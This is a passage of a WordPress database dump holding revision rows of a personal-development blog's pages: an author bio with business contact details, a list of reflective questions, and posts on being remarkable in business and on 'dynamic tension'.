blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Speaking gigs</strong>:<span style="color: #ff6600;"><strong>\r\nI''m available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2011-07-03 16:51:09', '2011-07-03 23:51:09', '', 143, 'http://www.whitehotcenter.com/uncategorized/143-revision-36/', 0, 'revision', '', 0),
(1723, 2, '2011-07-03 16:52:18', '2011-07-03 23:52:18', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;"> </span><strong>To contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<h2><span style="color: #ff8c00;"><strong> Inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more impact, influence and income. I do this in two ways:</strong></span></h2>\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Organizations:</span>\r\nAs Managing Partner of <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Entrepreneurs and Solo Professionals:</span>\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Have me speak at an upcoming event</strong>:<span style="color: #ff6600;"><strong>\r\nI''m available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2011-07-03 16:52:18', '2011-07-03 23:52:18', '', 143, 'http://www.whitehotcenter.com/uncategorized/143-revision-37/', 0, 'revision', '', 0),
(1724, 2, '2011-07-03 16:53:25', '2011-07-03 23:53:25', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;"> </span><strong>To contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<h2><span style="color: #000000;"><strong> Inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more impact, influence and income. I do this in two ways:</strong></span></h2>\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Organizations:</span>\r\nAs Managing Partner of <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Entrepreneurs and Solo Professionals:</span>\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Have me speak at an upcoming event</strong>:<span style="color: #ff6600;"><strong>\r\nI''m available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2011-07-03 16:53:25', '2011-07-03 23:53:25', '', 143, 'http://www.whitehotcenter.com/uncategorized/143-revision-38/', 0, 'revision', '', 0),
(1725, 2, '2011-07-03 16:53:42', '2011-07-03 23:53:42', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;"> </span><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<h2><span style="color: #000000;"><strong> Inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more impact, influence and income. I do this in two ways:</strong></span></h2>\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Organizations:</span>\r\nAs Managing Partner of <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Entrepreneurs and Solo Professionals:</span>\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Have me speak at an upcoming event</strong>:<span style="color: #ff6600;"><strong>\r\nI''m available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2011-07-03 16:53:42', '2011-07-03 23:53:42', '', 143, 'http://www.whitehotcenter.com/uncategorized/143-revision-39/', 0, 'revision', '', 0),
(1726, 1, '2009-08-03 11:27:47', '2009-08-03 18:27:47', '<h2><span style="color: #ff6600;">Creating what you want in your business and in life requires introspection and answers to deeper questions – the more evocative inner questions of "why and for what purpose, who do I serve, or what is most important to me?" Select one or all, and leave your answer as a comment.\r\n</span></h2>\r\n<ul id="big_questions">\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">What matters to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">How much is enough?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">What does doing great work mean to you?</a></li>\r\n	<li><a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">What are you grateful for?</a></li>\r\n</ul>\r\n<h4><span style="color: #333333;">Follow along here with the growing dialogue of creative entrepreneurs just like you, who share their answers through their comments. There might be a nugget of useful wisdom just waiting for you to employ in your business– left by someone who has paved a way before you. Open minds attract big ideas. We''ll work hard to keep the dialogue fresh and interesting by changing up the questions from time-to-time, based on the direction you want the conversation to go in.</span></h4>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-23', '', '', '2009-08-03 11:27:47', '2009-08-03 18:27:47', '', 179, 'http://www.whitehotcenter.com/uncategorized/179-revision-23/', 0, 'revision', '', 0),
(1727, 1, '2009-08-03 11:27:58', '2009-08-03 18:27:58', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif"><img class="alignnone size-full wp-image-476" title="questionbar" src="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif" alt="questionbar" width="450" height="85" /></a>\r\n\r\nShare your answer in the comments box below.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', ' Big Burning Question No.1', 0, '', 'inherit', 'open', 'open', '', '185-revision-8', '', '', '2009-08-03 11:27:58', '2009-08-03 18:27:58', '', 185, 'http://www.whitehotcenter.com/uncategorized/185-revision-8/', 0, 'revision', '', 0),
(1728, 1, '2009-08-03 11:28:05', '2009-08-03 18:28:05', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif"><img class="alignnone size-full wp-image-509" title="how-much-is-enough-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif" alt="how-much-is-enough-" width="450" height="85" /></a>Share your answer in the comments box beleow.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', ' Big Burning Question No.2', 0, '', 'inherit', 'open', 'open', '', '187-revision-10', '', '', '2009-08-03 11:28:05', '2009-08-03 18:28:05', '', 187, 'http://www.whitehotcenter.com/uncategorized/187-revision-10/', 0, 'revision', '', 0),
(1729, 1, '2009-08-03 11:28:11', '2009-08-03 18:28:11', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/greatwork-.gif"><img class="alignnone size-full wp-image-515" title="greatwork-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/greatwork-.gif" alt="greatwork-" width="450" height="85" /></a>Share your answer in the comment block below.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'Big Burning Question No.3', 0, '', 'inherit', 'open', 'open', '', '189-revision-7', '', '', '2009-08-03 11:28:11', '2009-08-03 18:28:11', '', 189, 'http://www.whitehotcenter.com/uncategorized/189-revision-7/', 0, 'revision', '', 0),
(1730, 1, '2009-08-03 11:28:16', '2009-08-03 18:28:16', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/greatful-.gif"><img class="alignnone size-full wp-image-518" title="greatful-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/greatful-.gif" alt="greatful-" width="450" height="85" /></a>Share your answer in the comment box below.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'Big Burning Question No.4', 0, '', 'inherit', 'open', 'open', '', '191-revision-7', '', '', '2009-08-03 11:28:16', '2009-08-03 18:28:16', '', 191, 'http://www.whitehotcenter.com/uncategorized/191-revision-7/', 0, 'revision', '', 0),
(1731, 1, '2009-08-03 11:27:12', '2009-08-03 18:27:12', '', 'Blog', 0, '', 'inherit', 'open', 'open', '', '157-revision-v1', '', '', '2009-08-03 11:27:12', '2009-08-03 18:27:12', '', 157, 'http://www.whitehotcenter.com/uncategorized/157-revision-14/', 0, 'revision', '', 0),
(1732, 1, '2011-07-07 13:27:38', '2011-07-07 20:27:38', '', 'Blog', 0, '', 'inherit', 'open', 'open', '', '157-revision-v1', '', '', '2011-07-07 13:27:38', '2011-07-07 20:27:38', '', 157, 'http://www.whitehotcenter.com/uncategorized/157-revision-15/', 0, 'revision', '', 0),
(1734, 2, '2011-07-07 15:26:54', '2011-07-07 22:26:54', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable.</span></h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s awesome, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about you resides within you. You can''t fake it till you make it. Your value proposition has to be genuine from the heart. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without expecting anything in return\r\n\r\n• start a parade and lead it\r\n\r\n• stop competing, start creating\r\n\r\n• stop selling, solve the problem\r\n\r\n• embrace risk, get out and play on the edges\r\n\r\n• be grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal than your own success\r\n\r\n• earn respect over seeking affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, create value for them <strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will  make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is  right at the top. If you seek information on how to remarkably connect your message  to customers, she can help you. I took the test myself.  The results were  very insightful and useful.  Please let me know if you found your  results fascinating.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-27', '', '', '2011-07-07 15:26:54', '2011-07-07 22:26:54', '', 1662, 'http://www.whitehotcenter.com/uncategorized/1662-revision-27/', 0, 'revision', '', 0),
(1733, 2, '2011-06-30 15:23:47', '2011-06-30 22:23:47', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable.</span></h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make it. Your proposition has to be genuine from the heart. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will  make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is  right at the top. If you seek information on how to remarkably connect your message  to customers, she can help you. I took the test myself.  The results were  very insightful and useful.  Please let me know if you found your  results fascinating.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-26', '', '', '2011-06-30 15:23:47', '2011-06-30 22:23:47', '', 1662, 'http://www.whitehotcenter.com/uncategorized/1662-revision-26/', 0, 'revision', '', 0),
(1736, 2, '2011-07-24 12:22:17', '2011-07-24 19:22:17', '', 'wrestlers', 0, '', 'inherit', 'open', 'open', '', 'wrestlers', '', '', '2011-07-24 12:22:17', '2011-07-24 19:22:17', '', 1735, 'http://www.whitehotcenter.com/wp-content/uploads/2011/07/wrestlers.jpg', 0, 'attachment', 'image/jpeg', 0),
(1737, 2, '2011-07-24 12:22:50', '2011-07-24 19:22:50', '<img class="alignnone size-full wp-image-1736" title="wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/wrestlers.jpg" alt="" width="490" height="315" />', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision', '', '', '2011-07-24 12:22:50', '2011-07-24 19:22:50', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision/', 0, 'revision', '', 0),
(1738, 2, '2011-07-24 12:26:03', '2011-07-24 19:26:03', '<img class="alignnone size-full wp-image-1736" title="wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/wrestlers.jpg" alt="" width="490" height="315" />\n\nDynamic tension is the experience of wrestling with opposing forces.  These forces are centered in wanting to experience opposing desires all in the same moment. It can’t be done, you know it and it has you buggered and stuck.\n\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\n\nHere are some examples:\n\n• creative freedom vs. financial security\n\n• working independently vs. being a member of a team\n\n• individual control vs. partnership\n\n• automony vs. support and security\n\n• family vs. career\n\n• living where you want vs. living where you work\n\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\n\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\n\nWhen you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.\n\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\n\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\n\nLiving at the border.\n\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\n\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\n\nReal choices, unlike convenient options, are always in tension.\n\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\n\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\n\n&nbsp;\n\nIn the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-2', '', '', '2011-07-24 12:26:03', '2011-07-24 19:26:03', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-2/', 0, 'revision', '', 0),
(1739, 2, '2011-07-24 12:27:03', '2011-07-24 19:27:03', '<img class="alignnone size-full wp-image-1736" title="wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/wrestlers.jpg" alt="" width="490" height="315" />\n<h1>Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. It can’t be done, you know it and it has you buggered and stuck.</h1>\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\n\nHere are some examples:\n\n• creative freedom vs. financial security\n\n• working independently vs. being a member of a team\n\n• individual control vs. partnership\n\n• automony vs. support and security\n\n• family vs. career\n\n• living where you want vs. living where you work\n\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\n\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\n\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\n\n<strong>Living at the border.</strong>\n\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\n\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\n\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\n\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\n\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\n\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-3', '', '', '2011-07-24 12:27:03', '2011-07-24 19:27:03', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-3/', 0, 'revision', '', 0);
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(1740, 2, '2011-07-24 12:27:13', '2011-07-24 19:27:13', '<img class="alignnone size-full wp-image-1736" title="wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/wrestlers.jpg" alt="" width="490" height="315" />\r\n<h1>Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. It can’t be done, you know it and it has you buggered and stuck.</h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n• creative freedom vs. financial security\r\n\r\n• working independently vs. being a member of a team\r\n\r\n• individual control vs. partnership\r\n\r\n• automony vs. support and security\r\n\r\n• family vs. career\r\n\r\n• living where you want vs. living where you work\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an 